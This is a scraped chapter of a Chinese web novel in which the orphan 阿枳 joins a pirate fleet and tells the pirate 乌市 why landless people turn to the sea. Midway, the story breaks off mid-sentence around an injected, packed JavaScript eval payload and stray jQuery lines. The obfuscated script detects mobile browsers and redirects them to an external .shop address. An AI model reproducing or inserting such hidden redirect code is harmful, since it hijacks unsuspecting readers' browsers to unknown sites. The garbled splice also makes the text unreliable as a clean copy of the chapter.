文趣网 > 其他小说 > 扬波 > 19.第 19 章
    梁逍平时过来,总会问一些船呀、海呀,或者阿枳的事情。但今日他来,好像就为了讲这一句话。

    讲完在阿枳身边徘徊片刻,说:“狗钦差还有事,先走了。”还顺走了阿枳刚烤好的一条鱼。

    阿枳一头雾水。最近飞鸿海风平浪静,盘青龙还叮嘱大伙儿做好准备,这是最适合商队出行和船帮兜食的天气。她不信这个北地人比海匪更擅长看天识海。

    隔天早晨,阿枳被船帮的号声惊醒。她跑出船舱,吃惊地发现乌市的大哨船竟然带着一支船队出海了!

    阿枳立刻想起梁逍说的话,连忙解绳起帆,用桨一顶岸滩,船便漂了出去。

    小船迎着海风出发,终于在午后追上了乌市的船队。

    前方不远就是一座荒岛,船队开始减速。阿枳奋力甩出绳钩,钩住了船队尾部那艘乌艚船。

    她把绳子缠在船头,让乌艚船把她的小船带到停锚的地方,然后顺着绳钩爬上乌艚船。

    她的出现让所有人都吓了一跳。船工把她揪到大哨船上,乌市怒吼:“你来干什么?”

    阿枳想说出梁逍的话,但转念一想:不行,柏洲来给我报信,一定是瞒着狗钦差的,若是之后被狗钦差知道他泄密,他一定要吃苦。

    话在她嘴巴里打个转,说出口已经变了样:“最近天气好,商队多,说不定狗钦差要对付我们。我要来帮忙。”

    乌市无奈道:“回去让盘老大好好整治你,不听管教!”

    船队收帆落锚了。

    十七八艘船停在荒岛东边的海面上,离岸约有二十丈,荒岛恰好成为船队隐藏的屏障。两艘轻巧的小鸟船从船队中滑出,各自往西北和东南方向去了。这种船船身窄长,吃水浅,速度快,船帮动手之前多用它来侦察。

    船上没有什么事情是需要阿枳做的,她遥望影子渐渐消失的小鸟船发呆,身边忽然传来一个声音:“怎么连乌市也纵容你乱来。”

    一个船工抓着帆索站在她身后整理,并不看她。阿枳问:“你是跟我说话吗?”

    那船工:“除了你,还有谁能被盘青龙和乌市这样偏爱?也不知道靠什么上的咱们大哨船。”

    阿枳认出来了,他是大哨船上的船工,打过几次照面,但不算熟悉。她冷下脸:“你什么意思?”

    船工:“一个什么都做不了的妹丁,能扮成龙女出尽风头,不仅盘老大和乌市都护着,三天两头还有官兵大爷趁夜上船去找你。你靠的什么,我也不知道。”

    他整理好就往另一边走,和几个看向阿枳的船工汇合了。几个人的目光扫过阿枳,小声议论。阿枳没遇到过这样的人,等他们走开了,才反应过来那些话是什么意思。她冲过去,跳起来就往那人背上踹。

    那几个船工反手揪着阿枳,阿枳从腰间翻出随身的小刀,对方怒道:“你还想在大哨船上伤人啊?!”

    阿枳大喊:“是你不对在先!”

    可她小小一个人,敌不过这些五大三粗的船工,最后被黎江拉走了。

    这事儿让阿枳闷了老半天。乌市坐在大哨船尾楼的阴影里,背靠着舱壁,一边喝酒一边观察海面和船队的情况。他看到了阿枳和船工的争执,但什么都不说。

    小鸟船回来了。往东南去的那艘朝着大哨船比了个手势,意思是“没发现东西”。往西北方向去的那艘却升起了一面小旗。乌市立刻站起:“有货。”

    被盯上的商队还在很远的海面之外,估摸傍晚时会靠近荒岛。乌市开始指挥和安排各个船只的人物,阿枳趁机在大哨船上走了两圈,但没发现任何异常。

    那个班银到底把什么东西带上了船?她去问黎江,黎江也摇头:“那晚上大哨船上只留盘老大、乌市和班银最信任的人,我也是在别的船上睡的。”

    阿枳:“原来你不是他们最信任的啊。”

    又把黎江气得差点吃不下饭。

    阿枳正跟黎江好声好气地道歉,布置完的乌市喊了她一声。她走到乌市身边,乌市示意她坐下,开口问:“为什么这么想当海匪?”

    这个问题反过来,就是阿枳这段时间一直想不通的地方:为什么盘青龙不让她当海匪?

    这几个月,她几乎把船上的活儿都学了个遍:荡船、收帆、认风、识潮,黎江教什么她就学什么,学得又快又好。她觉得自己不比别的船工差,每当有船队出海,她都会主动请缨。

    可盘青龙总是摇头,让她“再等等”。

    她不知道还要等什么。她只能留在船上,擦甲板、补船帆、收缆绳,看别人扬帆远去。

    再不甘心也没有办法。盘青龙的话就是规矩,她改变不了,只好越发留心观察着帮里的人。

    明面上,盘青龙是盘龙帮的帮主,可真正忙得脚不沾地的人是乌市。船坏了,找乌市,闹矛盾,找乌市,抢谁不抢谁,也要找乌市拿主意。就连阿枳夜间住在自己小船上是否有船工去滋扰,乌市隔几天就会问她一句。

    有一次阿枳问黎江:“为什么盘龙帮做主的人不是乌市?”

    这句话乌市听被见了,他笑了好一阵,才摆摆手道:“你觉得我做事更多?”

    阿枳认真点头:“大家有事,找的都是你。”

    乌市说:“那是因为我会的事情都在明面上。我会带船,会看风,会抢船。可这些顶多让我在海上当个小头目。一个船帮想长久,光会打是不够的。”

    他转头看阿枳,继续用嘶哑的声音说:“抢来的货卖给谁,抢来的银子怎么分,岸上的渔民、盐商、行商愿不愿意跟咱们来往,兄弟犯了规矩该怎么罚,又怎么让他们知道什么能做、什么不能做……比如人货买卖,无本万利,怎么控制底下的兄弟不去碰。这些事情,都是盘老大在做。”

    阿枳怔怔地听。

    乌市继续说:“一个头目厉不厉害,不是看她能抢多少船,而是看能不能让人愿意跟着她,守她的规矩。你觉得盘老大不让你出海,你生她的气,可你还是愿意留在盘龙帮,愿意听她的话,对么?”

    阿枳点头。

    乌市问:“为什么?”

    阿枳想起的是农庄里盘青龙夺弩杀人,还有带着她从海崖上飞向船只的瞬间。那天,乌市最后对她神神秘秘地说:她和他都一样,是心甘情愿被盘青龙带到海上的。

    此时在大哨船上,迎着午后灿烂的阳光,乌市又问了一次:“回答我,为什么这么想当海匪?”

    阿枳端端正正地坐在乌市面前:“因为我是无路可走的人。”

    乌市问:“什么叫无路可走?”

    阿枳说:“我没了家乡,没有亲人,身上一文钱也没有,也没有户籍。我只会捕鱼驾船,可是我又没有自己的船,没有网,去投靠别的渔村,他们也不会信我。”

    她在盘龙帮的这几个月里,早就想透了这个事儿。即便她有捕鱼出海的本事,一个十几岁的妹丁,去别的渔村、渔场做事,也很难获得别人的信任。她是细作吗?还是犯了事?没有亲族和保人,凭什么相信她?大家都活得艰难,凭什么给她分渔获?

    而且没有户籍,她就是贱民流民,是逃户。只要在陆上生活,就有随时被官府抓走的风险。

    她要活下去,她还要迅速地挣到更多钱,去找大哥和木瑶。

    小时候她曾问过阿爹,既然抢别人的东西是不对的,为什么还要去抢?

    后来长大些,她渐渐明白了。

    木黄村里的人大多是逃兵、

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777776|209382||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    灾民、流民。没有户籍,便租不到官田;没有本钱,便做不了生意;没有身份,便进不了卫所,连当军户也轮不到他们。就连带上渔获去白沙府,没有地头蛇庇护,你连鱼市都走不进去,只能在街边低价卖给食肆茶馆。

    无处落脚的飞来雁,怎么堂堂正正地活?老先生说她大哥的学问比书院里所有白衣弟子都要好,可是没办法,大哥一生都只能是无籍的贱民。他和他的孩子、孩子的孩子……永远不可能得到一个正式的身份,堂堂正正立足天地。

    后来阿爹找到门路托人办户籍,但他找不到保人,没有田地,也拿不出给中间人的三两银子,最后不了了之。

    陆上的规矩拒绝了他们,他们无路可走。于是有人逃进深山当山贼,有人驾船入海当海匪。

    阿枳记得阿爹阿娘说过,他们第一次出海是划着一块门板,跟着村里人和海匪一起去的。回来时分得十一个永嘉通宝和半袋米,让阿枳吃上了今生第一口糙米饭。

    山和海是这些异乡人的退路。

    她看着乌市说:“我知道当海匪不是什么体面的出路。可有路可走的时候,人才有资格挑这条路的对错。如果我有田可种,有工可做,有地方可去,却还去抢,那是我作恶。可我只剩下一条路的时候,我难道还能不走它吗?”

    乌市盯着她打量:“白沙府有乞丐,在大户人家门口坐着守着,也能过活。要不卖身当奴婢,或是嫁人。你眼大鼻挺,是个美人相。十五六岁的黄花闺女,再打扮得青嫩漂亮些,多的是人想要你。当个富贵人家的小妾,也能吃饱穿暖的。”

    阿枳腮帮子鼓起来,是一个憋着怒气的模样。

    乌市继续说:“都不愿意,我也可以给你找门路,把你卖进烟楼里。你好好学个技艺,笼络几个常客,这辈子吃香喝辣都不愁了。”

    阿枳一下站起,瞪圆了眼睛看乌市。

    “那些也是路,也有人走,可我不愿意!我不是瞧不起走那些路的人,但我有我的本事,我就要凭这些本事活!我是心甘情愿走到海上的!”她看向身边的黎江和几个零散听她说话的船工,“你们不也是这样才来到盘龙帮的么?”

    乌市沉默片刻,忽然放声大笑。

    “好!说得好!”他指着远处无边无际的大海,大声道,“阿枳,你说这天下是陆地多,还是海更多?”

    阿枳听梁逍提过,大承的东面、南面和西面都是海,每片海都望不到边际。她回答:“海更多。”

    乌市笑道:“陆上的规矩都让他们来定了,海上的规矩,就由我们这些海上拼杀的人来定!谁进了这片海,谁就要听我们的!”

    他豪情万丈,声如洪钟,附近几艘船上的海匪也纷纷呼喝赞叹,鼓起掌来。

    乌市推着她肩膀,把她带到甲板上,说:“今夜我们就要行动。你懂的那些都是渔民的技艺,今日我开始教你海匪的巡海法子,你学不学?”

    阿枳用尽力气回答:“学!”

    说完,她想起自己追船的初衷,忙拉着乌市小声说:“乌老大,当心狗钦差派人来抓我们。”

    乌市完全不惧,也轻声笑着说:“班银大老已经帮我做好了准备。我倒怕狗钦差的人不来!这不是你该操心的,来这边,我先教你‘旗鼓炮,锣号灯’的传讯之法吧。”

    这一学便学到了傍晚时分。阿枳爬上桅杆最高处眺望,海面热红,风平浪静。几艘大船的剪影渐渐从遥远的霞光中浮现。

    同时,一艘侦察的哨船回到船队中。船上有人挥舞旗帜,上举、下挥,平举后拍三下。

    这旗语是盘龙帮独有的,阿枳刚刚学过——“大货来了”!

    鼓声从大哨船响起!乌市大吼:“起锚、出发!”